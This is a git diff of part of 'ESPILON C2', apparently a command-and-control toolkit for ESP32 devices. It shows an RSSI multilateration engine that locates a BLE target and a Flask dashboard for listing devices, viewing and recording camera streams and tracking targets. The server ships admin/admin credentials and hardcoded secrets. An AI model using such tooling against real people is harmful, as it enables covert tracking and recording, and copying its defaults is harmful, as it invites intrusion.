match = pattern_new.match(message)
|
||||||
|
|
||||||
|
if match:
|
||||||
|
coord_type = match.group(1)
|
||||||
|
c1 = float(match.group(2))
|
||||||
|
c2 = float(match.group(3))
|
||||||
|
rssi = int(match.group(4))
|
||||||
|
|
||||||
|
if coord_type == 'G':
|
||||||
|
self.add_reading_gps(scanner_id, c1, c2, rssi)
|
||||||
|
else: # 'L' - local
|
||||||
|
self.add_reading(scanner_id, c1, c2, rssi)
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Legacy format: lat;lon;rssi (backward compatible - treat as GPS)
|
||||||
|
pattern_legacy = re.compile(r'^([0-9.+-]+);([0-9.+-]+);(-?\d+)$')
|
||||||
|
match = pattern_legacy.match(message)
|
||||||
|
|
||||||
|
if match:
|
||||||
|
lat = float(match.group(1))
|
||||||
|
lon = float(match.group(2))
|
||||||
|
rssi = int(match.group(3))
|
||||||
|
self.add_reading_gps(scanner_id, lat, lon, rssi)
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def parse_data(self, raw_data: str) -> int:
|
||||||
|
"""
|
||||||
|
Parse raw MLAT data from HTTP POST.
|
||||||
|
|
||||||
|
Format: SCANNER_ID;(lat,lon);rssi
|
||||||
|
Example: ESP3;(48.8566,2.3522);-45
|
||||||
|
|
||||||
|
Args:
|
||||||
|
raw_data: Raw text data with one or more readings
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Number of readings successfully processed
|
||||||
|
"""
|
||||||
|
pattern = re.compile(r'^(\w+);\(([0-9.+-]+),([0-9.+-]+)\);(-?\d+)$')
|
||||||
|
count = 0
|
||||||
|
timestamp = time.time()
|
||||||
|
|
||||||
|
for line in raw_data.strip().split('\n'):
|
||||||
|
line = line.strip()
|
||||||
|
if not line:
|
||||||
|
continue
|
||||||
|
|
||||||
|
match = pattern.match(line)
|
||||||
|
if match:
|
||||||
|
scanner_id = match.group(1)
|
||||||
|
lat = float(match.group(2))
|
||||||
|
lon = float(match.group(3))
|
||||||
|
rssi = int(match.group(4))
|
||||||
|
|
||||||
|
self.add_reading_gps(scanner_id, lat, lon, rssi, timestamp)
|
||||||
|
count += 1
|
||||||
|
|
||||||
|
return count
|
||||||
|
|
||||||
|
def add_reading_gps(self, scanner_id: str, lat: float, lon: float, rssi: int, timestamp: float = None):
|
||||||
|
"""
|
||||||
|
Add a new RSSI reading from a scanner with GPS coordinates.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
scanner_id: Unique identifier for the scanner
|
||||||
|
lat: Latitude of the scanner
|
||||||
|
lon: Longitude of the scanner
|
||||||
|
rssi: RSSI value (negative dBm)
|
||||||
|
timestamp: Reading timestamp (defaults to current time)
|
||||||
|
"""
|
||||||
|
if timestamp is None:
|
||||||
|
timestamp = time.time()
|
||||||
|
|
||||||
|
if scanner_id not in self.scanners:
|
||||||
|
self.scanners[scanner_id] = {
|
||||||
|
"position": {"lat": lat, "lon": lon},
|
||||||
|
"rssi_history": [],
|
||||||
|
"last_seen": timestamp
|
||||||
|
}
|
||||||
|
|
||||||
|
scanner = self.scanners[scanner_id]
|
||||||
|
scanner["position"] = {"lat": lat, "lon": lon}
|
||||||
|
scanner["rssi_history"].append(rssi)
|
||||||
|
scanner["last_seen"] = timestamp
|
||||||
|
|
||||||
|
# Keep only recent readings for smoothing
|
||||||
|
if len(scanner["rssi_history"]) > self.smoothing_window:
|
||||||
|
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
||||||
|
|
||||||
|
self._coord_mode = 'gps'
|
||||||
|
|
||||||
|
def add_reading(self, scanner_id: str, x: float, y: float, rssi: int, timestamp: float = None):
|
||||||
|
"""
|
||||||
|
Add a new RSSI reading from a scanner with local coordinates.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
scanner_id: Unique identifier for the scanner
|
||||||
|
x: X coordinate of the scanner (meters)
|
||||||
|
y: Y coordinate of the scanner (meters)
|
||||||
|
rssi: RSSI value (negative dBm)
|
||||||
|
timestamp: Reading timestamp (defaults to current time)
|
||||||
|
"""
|
||||||
|
if timestamp is None:
|
||||||
|
timestamp = time.time()
|
||||||
|
|
||||||
|
if scanner_id not in self.scanners:
|
||||||
|
self.scanners[scanner_id] = {
|
||||||
|
"position": {"x": x, "y": y},
|
||||||
|
"rssi_history": [],
|
||||||
|
"last_seen": timestamp
|
||||||
|
}
|
||||||
|
|
||||||
|
scanner = self.scanners[scanner_id]
|
||||||
|
scanner["position"] = {"x": x, "y": y}
|
||||||
|
scanner["rssi_history"].append(rssi)
|
||||||
|
scanner["last_seen"] = timestamp
|
||||||
|
|
||||||
|
if len(scanner["rssi_history"]) > self.smoothing_window:
|
||||||
|
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
||||||
|
|
||||||
|
self._coord_mode = 'local'
|
||||||
|
|
||||||
|
def rssi_to_distance(self, rssi: float) -> float:
|
||||||
|
"""
|
||||||
|
Convert RSSI to estimated distance using log-distance path loss model.
|
||||||
|
|
||||||
|
d = 10^((RSSI_1m - RSSI) / (10 * n))
|
||||||
|
|
||||||
|
Args:
|
||||||
|
rssi: RSSI value (negative dBm)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Estimated distance in meters
|
||||||
|
"""
|
||||||
|
return 10 ** ((self.rssi_at_1m - rssi) / (10 * self.path_loss_n))
|
||||||
|
|
||||||
|
def calculate_position(self) -> dict:
|
||||||
|
"""
|
||||||
|
Calculate target position using multilateration.
|
||||||
|
|
||||||
|
Requires at least 3 active scanners with recent readings.
|
||||||
|
Uses weighted least squares optimization.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with position, confidence, and scanner info, or error
|
||||||
|
"""
|
||||||
|
# Get active scanners (those with readings)
|
||||||
|
active_scanners = [
|
||||||
|
(sid, s) for sid, s in self.scanners.items()
|
||||||
|
if s["rssi_history"]
|
||||||
|
]
|
||||||
|
|
||||||
|
if len(active_scanners) < 3:
|
||||||
|
return {
|
||||||
|
"error": f"Need at least 3 active scanners (have {len(active_scanners)})",
|
||||||
|
"scanners_count": len(active_scanners)
|
||||||
|
}
|
||||||
|
|
||||||
|
# Determine coordinate mode from first scanner
|
||||||
|
first_pos = active_scanners[0][1]["position"]
|
||||||
|
is_gps = "lat" in first_pos
|
||||||
|
|
||||||
|
# Prepare data arrays
|
||||||
|
positions = []
|
||||||
|
distances = []
|
||||||
|
weights = []
|
||||||
|
|
||||||
|
# Reference point for GPS conversion (centroid)
|
||||||
|
if is_gps:
|
||||||
|
ref_lat = sum(s["position"]["lat"] for _, s in active_scanners) / len(active_scanners)
|
||||||
|
ref_lon = sum(s["position"]["lon"] for _, s in active_scanners) / len(active_scanners)
|
||||||
|
|
||||||
|
for scanner_id, scanner in active_scanners:
|
||||||
|
pos = scanner["position"]
|
||||||
|
|
||||||
|
if is_gps:
|
||||||
|
# Convert GPS to local meters relative to reference
|
||||||
|
x = self.haversine_distance(ref_lat, ref_lon, ref_lat, pos["lon"])
|
||||||
|
if pos["lon"] < ref_lon:
|
||||||
|
x = -x
|
||||||
|
y = self.haversine_distance(ref_lat, ref_lon, pos["lat"], ref_lon)
|
||||||
|
if pos["lat"] < ref_lat:
|
||||||
|
y = -y
|
||||||
|
else:
|
||||||
|
x, y = pos["x"], pos["y"]
|
||||||
|
|
||||||
|
# Average RSSI for noise reduction
|
||||||
|
avg_rssi = sum(scanner["rssi_history"]) / len(scanner["rssi_history"])
|
||||||
|
distance = self.rssi_to_distance(avg_rssi)
|
||||||
|
|
||||||
|
positions.append([x, y])
|
||||||
|
distances.append(distance)
|
||||||
|
|
||||||
|
# Weight by signal strength (stronger signal = more reliable)
|
||||||
|
weights.append(1.0 / (abs(avg_rssi) ** 2))
|
||||||
|
|
||||||
|
positions = np.array(positions)
|
||||||
|
distances = np.array(distances)
|
||||||
|
weights = np.array(weights)
|
||||||
|
weights = weights / weights.sum()
|
||||||
|
|
||||||
|
# Cost function
|
||||||
|
def cost_function(point):
|
||||||
|
x, y = point
|
||||||
|
estimated_distances = np.sqrt((positions[:, 0] - x)**2 + (positions[:, 1] - y)**2)
|
||||||
|
errors = (estimated_distances - distances) ** 2
|
||||||
|
return np.sum(weights * errors)
|
||||||
|
|
||||||
|
# Initial guess: weighted centroid
|
||||||
|
x0 = np.sum(weights * positions[:, 0])
|
||||||
|
y0 = np.sum(weights * positions[:, 1])
|
||||||
|
|
||||||
|
# Optimize
|
||||||
|
result = minimize(cost_function, [x0, y0], method='L-BFGS-B')
|
||||||
|
|
||||||
|
if result.success:
|
||||||
|
target_x, target_y = result.x
|
||||||
|
confidence = 1.0 / (1.0 + result.fun)
|
||||||
|
|
||||||
|
if is_gps:
|
||||||
|
# Convert back to GPS
|
||||||
|
delta_lat, delta_lon = self.meters_to_degrees(1, ref_lat)
|
||||||
|
target_lat = ref_lat + target_y * delta_lat
|
||||||
|
target_lon = ref_lon + target_x * delta_lon
|
||||||
|
|
||||||
|
self._last_target = {
|
||||||
|
"lat": round(float(target_lat), 6),
|
||||||
|
"lon": round(float(target_lon), 6)
|
||||||
|
}
|
||||||
|
else:
|
||||||
|
self._last_target = {
|
||||||
|
"x": round(float(target_x), 2),
|
||||||
|
"y": round(float(target_y), 2)
|
||||||
|
}
|
||||||
|
|
||||||
|
self._last_calculation = time.time()
|
||||||
|
|
||||||
|
return {
|
||||||
|
"position": self._last_target,
|
||||||
|
"confidence": round(float(confidence), 3),
|
||||||
|
"scanners_used": len(active_scanners),
|
||||||
|
"calculated_at": self._last_calculation
|
||||||
|
}
|
||||||
|
else:
|
||||||
|
return {
|
||||||
|
"error": "Optimization failed",
|
||||||
|
"details": result.message
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_state(self) -> dict:
|
||||||
|
"""
|
||||||
|
Get the current state of the MLAT system.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with scanner info and last target position
|
||||||
|
"""
|
||||||
|
now = time.time()
|
||||||
|
scanners_data = []
|
||||||
|
|
||||||
|
for scanner_id, scanner in self.scanners.items():
|
||||||
|
avg_rssi = None
|
||||||
|
distance = None
|
||||||
|
|
||||||
|
if scanner["rssi_history"]:
|
||||||
|
avg_rssi = sum(scanner["rssi_history"]) / len(scanner["rssi_history"])
|
||||||
|
distance = round(self.rssi_to_distance(avg_rssi), 2)
|
||||||
|
avg_rssi = round(avg_rssi, 1)
|
||||||
|
|
||||||
|
scanners_data.append({
|
||||||
|
"id": scanner_id,
|
||||||
|
"position": scanner["position"],
|
||||||
|
"last_rssi": avg_rssi,
|
||||||
|
"estimated_distance": distance,
|
||||||
|
"last_seen": scanner["last_seen"],
|
||||||
|
"age_seconds": round(now - scanner["last_seen"], 1)
|
||||||
|
})
|
||||||
|
|
||||||
|
result = {
|
||||||
|
"scanners": scanners_data,
|
||||||
|
"scanners_count": len(scanners_data),
|
||||||
|
"target": None,
|
||||||
|
"config": {
|
||||||
|
"rssi_at_1m": self.rssi_at_1m,
|
||||||
|
"path_loss_n": self.path_loss_n,
|
||||||
|
"smoothing_window": self.smoothing_window
|
||||||
|
},
|
||||||
|
"coord_mode": self._coord_mode
|
||||||
|
}
|
||||||
|
|
||||||
|
# Add target if available
|
||||||
|
if self._last_target and (now - self._last_calculation) < 60:
|
||||||
|
result["target"] = {
|
||||||
|
"position": self._last_target,
|
||||||
|
"calculated_at": self._last_calculation,
|
||||||
|
"age_seconds": round(now - self._last_calculation, 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
def update_config(self, rssi_at_1m: float = None, path_loss_n: float = None, smoothing_window: int = None):
|
||||||
|
"""
|
||||||
|
Update MLAT configuration parameters.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
rssi_at_1m: New RSSI at 1m value
|
||||||
|
path_loss_n: New path loss exponent
|
||||||
|
smoothing_window: New smoothing window size
|
||||||
|
"""
|
||||||
|
if rssi_at_1m is not None:
|
||||||
|
self.rssi_at_1m = rssi_at_1m
|
||||||
|
if path_loss_n is not None:
|
||||||
|
self.path_loss_n = path_loss_n
|
||||||
|
if smoothing_window is not None:
|
||||||
|
self.smoothing_window = max(1, smoothing_window)
|
||||||
|
|
||||||
|
def clear(self):
|
||||||
|
"""Clear all scanner data and reset state."""
|
||||||
|
self.scanners.clear()
|
||||||
|
self._last_target = None
|
||||||
|
self._last_calculation = 0
|
||||||
387
tools/c2/web/server.py
Normal file
387
tools/c2/web/server.py
Normal file
@ -0,0 +1,387 @@
|
|||||||
|
"""Unified Flask web server for ESPILON C2 dashboard."""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import logging
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from functools import wraps
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify
|
||||||
|
from werkzeug.serving import make_server
|
||||||
|
|
||||||
|
from .mlat import MlatEngine
|
||||||
|
|
||||||
|
# Disable Flask/Werkzeug request logging
|
||||||
|
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||||
|
|
||||||
|
|
||||||
|
class UnifiedWebServer:
|
||||||
|
"""
|
||||||
|
Unified Flask-based web server for ESPILON C2.
|
||||||
|
|
||||||
|
Provides:
|
||||||
|
- Dashboard: View connected ESP32 devices
|
||||||
|
- Cameras: View live camera streams with recording
|
||||||
|
- Trilateration: Visualize BLE device positioning
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self,
|
||||||
|
host: str = "0.0.0.0",
|
||||||
|
port: int = 8000,
|
||||||
|
image_dir: str = "static/streams",
|
||||||
|
username: str = "admin",
|
||||||
|
password: str = "admin",
|
||||||
|
secret_key: str = "change_this_for_prod",
|
||||||
|
multilat_token: str = "multilat_secret_token",
|
||||||
|
device_registry=None,
|
||||||
|
mlat_engine: Optional[MlatEngine] = None,
|
||||||
|
camera_receiver=None):
|
||||||
|
"""
|
||||||
|
Initialize the unified web server.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
host: Host to bind the server
|
||||||
|
port: Port for the web server
|
||||||
|
image_dir: Directory containing camera frame images
|
||||||
|
username: Login username
|
||||||
|
password: Login password
|
||||||
|
secret_key: Flask session secret key
|
||||||
|
multilat_token: Bearer token for MLAT API
|
||||||
|
device_registry: DeviceRegistry instance for device listing
|
||||||
|
mlat_engine: MlatEngine instance (created if None)
|
||||||
|
camera_receiver: UDPReceiver instance for camera control
|
||||||
|
"""
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.image_dir = image_dir
|
||||||
|
self.username = username
|
||||||
|
self.password = password
|
||||||
|
self.secret_key = secret_key
|
||||||
|
self.multilat_token = multilat_token
|
||||||
|
self.device_registry = device_registry
|
||||||
|
self.mlat = mlat_engine or MlatEngine()
|
||||||
|
self.camera_receiver = camera_receiver
|
||||||
|
|
||||||
|
# Ensure image directory exists
|
||||||
|
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
full_image_dir = os.path.join(c2_root, self.image_dir)
|
||||||
|
os.makedirs(full_image_dir, exist_ok=True)
|
||||||
|
|
||||||
|
self._app = self._create_app()
|
||||||
|
self._server = None
|
||||||
|
self._thread = None
|
||||||
|
|
||||||
|
def set_camera_receiver(self, receiver):
|
||||||
|
"""Set the camera receiver after initialization."""
|
||||||
|
self.camera_receiver = receiver
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_running(self) -> bool:
|
||||||
|
return self._thread is not None and self._thread.is_alive()
|
||||||
|
|
||||||
|
def _create_app(self) -> Flask:
|
||||||
|
"""Create and configure the Flask application."""
|
||||||
|
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
template_dir = os.path.join(c2_root, "templates")
|
||||||
|
static_dir = os.path.join(c2_root, "static")
|
||||||
|
|
||||||
|
app = Flask(__name__,
|
||||||
|
template_folder=template_dir,
|
||||||
|
static_folder=static_dir)
|
||||||
|
app.secret_key = self.secret_key
|
||||||
|
|
||||||
|
web_server = self
|
||||||
|
|
||||||
|
# ========== Auth Decorators ==========
|
||||||
|
|
||||||
|
def require_login(f):
|
||||||
|
@wraps(f)
|
||||||
|
def decorated(*args, **kwargs):
|
||||||
|
if not session.get("logged_in"):
|
||||||
|
return redirect(url_for("login"))
|
||||||
|
return f(*args, **kwargs)
|
||||||
|
return decorated
|
||||||
|
|
||||||
|
def require_api_auth(f):
|
||||||
|
@wraps(f)
|
||||||
|
def decorated(*args, **kwargs):
|
||||||
|
if session.get("logged_in"):
|
||||||
|
return f(*args, **kwargs)
|
||||||
|
|
||||||
|
auth_header = request.headers.get("Authorization", "")
|
||||||
|
if auth_header.startswith("Bearer "):
|
||||||
|
token = auth_header[7:]
|
||||||
|
if token == web_server.multilat_token:
|
||||||
|
return f(*args, **kwargs)
|
||||||
|
|
||||||
|
return jsonify({"error": "Unauthorized"}), 401
|
||||||
|
return decorated
|
||||||
|
|
||||||
|
# ========== Auth Routes ==========
|
||||||
|
|
||||||
|
@app.route("/login", methods=["GET", "POST"])
|
||||||
|
def login():
|
||||||
|
error = None
|
||||||
|
if request.method == "POST":
|
||||||
|
username = request.form.get("username")
|
||||||
|
password = request.form.get("password")
|
||||||
|
if username == web_server.username and password == web_server.password:
|
||||||
|
session["logged_in"] = True
|
||||||
|
return redirect(url_for("dashboard"))
|
||||||
|
else:
|
||||||
|
error = "Invalid credentials."
|
||||||
|
return render_template("login.html", error=error)
|
||||||
|
|
||||||
|
@app.route("/logout")
|
||||||
|
def logout():
|
||||||
|
session.pop("logged_in", None)
|
||||||
|
return redirect(url_for("login"))
|
||||||
|
|
||||||
|
# ========== Page Routes ==========
|
||||||
|
|
||||||
|
@app.route("/")
|
||||||
|
@require_login
|
||||||
|
def index():
|
||||||
|
return redirect(url_for("dashboard"))
|
||||||
|
|
||||||
|
@app.route("/dashboard")
|
||||||
|
@require_login
|
||||||
|
def dashboard():
|
||||||
|
return render_template("dashboard.html", active_page="dashboard")
|
||||||
|
|
||||||
|
@app.route("/cameras")
|
||||||
|
@require_login
|
||||||
|
def cameras():
|
||||||
|
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||||
|
try:
|
||||||
|
image_files = sorted([
|
||||||
|
f for f in os.listdir(full_image_dir)
|
||||||
|
if f.endswith(".jpg")
|
||||||
|
])
|
||||||
|
except FileNotFoundError:
|
||||||
|
image_files = []
|
||||||
|
|
||||||
|
return render_template("cameras.html", active_page="cameras", image_files=image_files)
|
||||||
|
|
||||||
|
@app.route("/mlat")
|
||||||
|
@require_login
|
||||||
|
def mlat():
|
||||||
|
return render_template("mlat.html", active_page="mlat")
|
||||||
|
|
||||||
|
# ========== Static Files ==========
|
||||||
|
|
||||||
|
@app.route("/streams/<filename>")
|
||||||
|
@require_login
|
||||||
|
def stream_image(filename):
|
||||||
|
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||||
|
return send_from_directory(full_image_dir, filename)
|
||||||
|
|
||||||
|
@app.route("/recordings/<filename>")
|
||||||
|
@require_login
|
||||||
|
def download_recording(filename):
|
||||||
|
recordings_dir = os.path.join(c2_root, "static", "recordings")
|
||||||
|
return send_from_directory(recordings_dir, filename, as_attachment=True)
|
||||||
|
|
||||||
|
# ========== Device API ==========
|
||||||
|
|
||||||
|
@app.route("/api/devices")
|
||||||
|
@require_api_auth
|
||||||
|
def api_devices():
|
||||||
|
if web_server.device_registry is None:
|
||||||
|
return jsonify({"error": "Device registry not available", "devices": []})
|
||||||
|
|
||||||
|
now = time.time()
|
||||||
|
devices = []
|
||||||
|
|
||||||
|
for d in web_server.device_registry.all():
|
||||||
|
devices.append({
|
||||||
|
"id": d.id,
|
||||||
|
"ip": d.address[0] if d.address else "unknown",
|
||||||
|
"port": d.address[1] if d.address else 0,
|
||||||
|
"status": d.status,
|
||||||
|
"connected_at": d.connected_at,
|
||||||
|
"last_seen": d.last_seen,
|
||||||
|
"connected_for_seconds": round(now - d.connected_at, 1),
|
||||||
|
"last_seen_ago_seconds": round(now - d.last_seen, 1)
|
||||||
|
})
|
||||||
|
|
||||||
|
return jsonify({
|
||||||
|
"devices": devices,
|
||||||
|
"count": len(devices)
|
||||||
|
})
|
||||||
|
|
||||||
|
# ========== Camera API ==========
|
||||||
|
|
||||||
|
@app.route("/api/cameras")
|
||||||
|
@require_api_auth
|
||||||
|
def api_cameras():
|
||||||
|
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||||
|
try:
|
||||||
|
cameras = [
|
||||||
|
f.replace(".jpg", "")
|
||||||
|
for f in os.listdir(full_image_dir)
|
||||||
|
if f.endswith(".jpg")
|
||||||
|
]
|
||||||
|
except FileNotFoundError:
|
||||||
|
cameras = []
|
||||||
|
|
||||||
|
# Add recording status if receiver available
|
||||||
|
result = {"cameras": [], "count": len(cameras)}
|
||||||
|
for cam_id in cameras:
|
||||||
|
cam_info = {"id": cam_id, "recording": False}
|
||||||
|
if web_server.camera_receiver:
|
||||||
|
status = web_server.camera_receiver.get_recording_status(cam_id)
|
||||||
|
cam_info["recording"] = status.get("recording", False)
|
||||||
|
cam_info["filename"] = status.get("filename")
|
||||||
|
result["cameras"].append(cam_info)
|
||||||
|
|
||||||
|
result["count"] = len(result["cameras"])
|
||||||
|
return jsonify(result)
|
||||||
|
|
||||||
|
# ========== Recording API ==========
|
||||||
|
|
||||||
|
@app.route("/api/recording/start/<camera_id>", methods=["POST"])
|
||||||
|
@require_api_auth
|
||||||
|
def api_recording_start(camera_id):
|
||||||
|
if not web_server.camera_receiver:
|
||||||
|
return jsonify({"error": "Camera receiver not available"}), 503
|
||||||
|
|
||||||
|
result = web_server.camera_receiver.start_recording(camera_id)
|
||||||
|
if "error" in result:
|
||||||
|
return jsonify(result), 400
|
||||||
|
return jsonify(result)
|
||||||
|
|
||||||
|
@app.route("/api/recording/stop/<camera_id>", methods=["POST"])
|
||||||
|
@require_api_auth
|
||||||
|
def api_recording_stop(camera_id):
|
||||||
|
if not web_server.camera_receiver:
|
||||||
|
return jsonify({"error": "Camera receiver not available"}), 503
|
||||||
|
|
||||||
|
result = web_server.camera_receiver.stop_recording(camera_id)
|
||||||
|
if "error" in result:
|
||||||
|
return jsonify(result), 400
|
||||||
|
return jsonify(result)
|
||||||
|
|
||||||
|
@app.route("/api/recording/status")
|
||||||
|
@require_api_auth
|
||||||
|
def api_recording_status():
|
||||||
|
if not web_server.camera_receiver:
|
||||||
|
return jsonify({"error": "Camera receiver not available"}), 503
|
||||||
|
|
||||||
|
camera_id = request.args.get("camera_id")
|
||||||
|
return jsonify(web_server.camera_receiver.get_recording_status(camera_id))
|
||||||
|
|
||||||
|
@app.route("/api/recordings")
|
||||||
|
@require_api_auth
|
||||||
|
def api_recordings_list():
|
||||||
|
if not web_server.camera_receiver:
|
||||||
|
return jsonify({"recordings": []})
|
||||||
|
|
||||||
|
return jsonify({"recordings": web_server.camera_receiver.list_recordings()})
|
||||||
|
|
||||||
|
# ========== Trilateration API ==========
|
||||||
|
|
||||||
|
@app.route("/api/mlat/collect", methods=["POST"])
|
||||||
|
@require_api_auth
|
||||||
|
def api_mlat_collect():
|
||||||
|
raw_data = request.get_data(as_text=True)
|
||||||
|
count = web_server.mlat.parse_data(raw_data)
|
||||||
|
|
||||||
|
if count > 0:
|
||||||
|
web_server.mlat.calculate_position()
|
||||||
|
|
||||||
|
return jsonify({
|
||||||
|
"status": "ok",
|
||||||
|
"readings_processed": count
|
||||||
|
})
|
||||||
|
|
||||||
|
@app.route("/api/mlat/state")
|
||||||
|
@require_api_auth
|
||||||
|
def api_mlat_state():
|
||||||
|
state = web_server.mlat.get_state()
|
||||||
|
|
||||||
|
if state["target"] is None and state["scanners_count"] >= 3:
|
||||||
|
result = web_server.mlat.calculate_position()
|
||||||
|
if "position" in result:
|
||||||
|
state["target"] = {
|
||||||
|
"position": result["position"],
|
||||||
|
"confidence": result.get("confidence", 0),
|
||||||
|
"calculated_at": result.get("calculated_at", time.time()),
|
||||||
|
"age_seconds": 0
|
||||||
|
}
|
||||||
|
|
||||||
|
return jsonify(state)
|
||||||
|
|
||||||
|
@app.route("/api/mlat/config", methods=["GET", "POST"])
|
||||||
|
@require_api_auth
|
||||||
|
def api_mlat_config():
|
||||||
|
if request.method == "POST":
|
||||||
|
data = request.get_json() or {}
|
||||||
|
web_server.mlat.update_config(
|
||||||
|
rssi_at_1m=data.get("rssi_at_1m"),
|
||||||
|
path_loss_n=data.get("path_loss_n"),
|
||||||
|
smoothing_window=data.get("smoothing_window")
|
||||||
|
)
|
||||||
|
|
||||||
|
return jsonify({
|
||||||
|
"rssi_at_1m": web_server.mlat.rssi_at_1m,
|
||||||
|
"path_loss_n": web_server.mlat.path_loss_n,
|
||||||
|
"smoothing_window": web_server.mlat.smoothing_window
|
||||||
|
})
|
||||||
|
|
||||||
|
@app.route("/api/mlat/clear", methods=["POST"])
|
||||||
|
@require_api_auth
|
||||||
|
def api_mlat_clear():
|
||||||
|
web_server.mlat.clear()
|
||||||
|
return jsonify({"status": "ok"})
|
||||||
|
|
||||||
|
# ========== Stats API ==========
|
||||||
|
|
||||||
|
@app.route("/api/stats")
|
||||||
|
@require_api_auth
|
||||||
|
def api_stats():
|
||||||
|
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||||
|
try:
|
||||||
|
camera_count = len([
|
||||||
|
f for f in os.listdir(full_image_dir)
|
||||||
|
if f.endswith(".jpg")
|
||||||
|
])
|
||||||
|
except FileNotFoundError:
|
||||||
|
camera_count = 0
|
||||||
|
|
||||||
|
device_count = 0
|
||||||
|
if web_server.device_registry:
|
||||||
|
device_count = len(list(web_server.device_registry.all()))
|
||||||
|
|
||||||
|
multilat_state = web_server.mlat.get_state()
|
||||||
|
|
||||||
|
return jsonify({
|
||||||
|
"active_cameras": camera_count,
|
||||||
|
"connected_devices": device_count,
|
||||||
|
"multilateration_scanners": multilat_state["scanners_count"],
|
||||||
|
"server_running": True
|
||||||
|
})
|
||||||
|
|
||||||
|
return app
|
||||||
|
|
||||||
|
def start(self) -> bool:
|
||||||
|
"""Start the web server in a background thread."""
|
||||||
|
if self.is_running:
|
||||||
|
return False
|
||||||
|
|
||||||
|
self._server = make_server(self.host, self.port, self._app, threaded=True)
|
||||||
|
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
|
||||||
|
self._thread.start()
|
||||||
|
return True
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
"""Stop the web server."""
|
||||||
|
if self._server:
|
||||||
|
self._server.shutdown()
|
||||||
|
self._server = None
|
||||||
|
self._thread = None
|
||||||
|
|
||||||
|
def get_url(self) -> str:
|
||||||
|
"""Get the server URL."""
|
||||||
|
return f"http://{self.host}:{self.port}"
|
||||||
Loading…
Reference in New Issue
Block a user